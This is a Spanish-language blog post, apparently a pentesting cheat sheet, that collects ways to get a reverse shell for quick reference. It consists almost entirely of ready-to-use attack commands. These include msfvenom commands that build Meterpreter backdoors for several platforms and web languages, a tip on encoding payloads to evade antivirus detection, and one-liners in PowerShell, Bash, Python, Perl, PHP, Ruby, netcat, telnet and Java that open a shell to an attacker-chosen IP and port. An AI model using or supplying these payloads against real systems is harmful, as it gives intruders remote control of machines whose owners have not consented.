Buenas a todos,
En la entrada de hoy haremos un breve resumen de las diversas formas de generar una Shell reversa y así tener todas las opciones en un mismo sitio para consulta rápida.
Empecemos por Metasploit y las diferentes formas para generar un meterpreter. Para ello vamos a utilizar la herramienta msfvenom del framework Metasploit.
Binarios
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe > meterpreter.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf > meterpreter
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f macho > meterpreter
Web
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw | sed 's///<?php/<?php/' > shell.php && echo ' ?>' >> meterpreter.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > meterpreter.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f war > meterpreter.war
Scripts
Powershell
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.ps1
Python
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.pl
Código
Además podemos generar programas en diferentes lenguajes que ejecutaran la Shell. Podemos ver el listado de los diferentes lenguajes con msfvenom –help-formats
Por ejemplo, para generar un programa en C que lance una Shell, ejecutaríamos:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f c > meterpreter.c
Bastaría compilarlo y tendríamos nuestro backdoor/shell.
Destacar un par de opciones interesantes de msfvenon, como son, “–bad-chars”, para evitar ciertos caracteres, como -b’x00xff’ y la otra opción es la de –encoder con la que podemos codificar nuestro meterpreter bajando el ratio de detección.
En otras ocasiones querremos ejecutar la Shell directamente o no tendremos Metasploit a mano.
Para esas ocasiones vamos a ver algunas opciones y alternativas:
Powershell
$sm=(New-Object Net.Sockets.TCPClient("<IP>",<PUERTO>)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Bash
bash -i >& /dev/tcp/<IP>/<PUERTO> 0>&1
o
0<&196;exec 196<>/dev/tcp/<IP>/<PUERTO>; sh <&196 >&196 2>&196
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PUERTO>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
perl -e 'use Socket;$i="<IP>";$p=<PUERTO>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl (windows)
perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "<IP>:<PUERTO>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PHP
php -r '$sock=fsockopen("<IP>",<PUERTO>);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("<IP>",<PUERTO>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Ruby (windows)
ruby -rsocket -e 'c=TCPSocket.new("<IP>","<PUERTO>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat (opcion ‘-e’)
nc -e /bin/sh <IP> <PUERTO>
Netcat (sin ‘-e’)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PUERTO> >/tmp/f
o
/bin/sh | nc <IP> <PUERTO>
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet <IP> <PUERTO> 0/tmp/p
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PUERTO>;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
xterm
xterm -display <IP>:1
Espero que sean de utilidad y si conocéis algún método forma más por favor comentarlo y así podremos incluirla para contar con un recopilación más completa.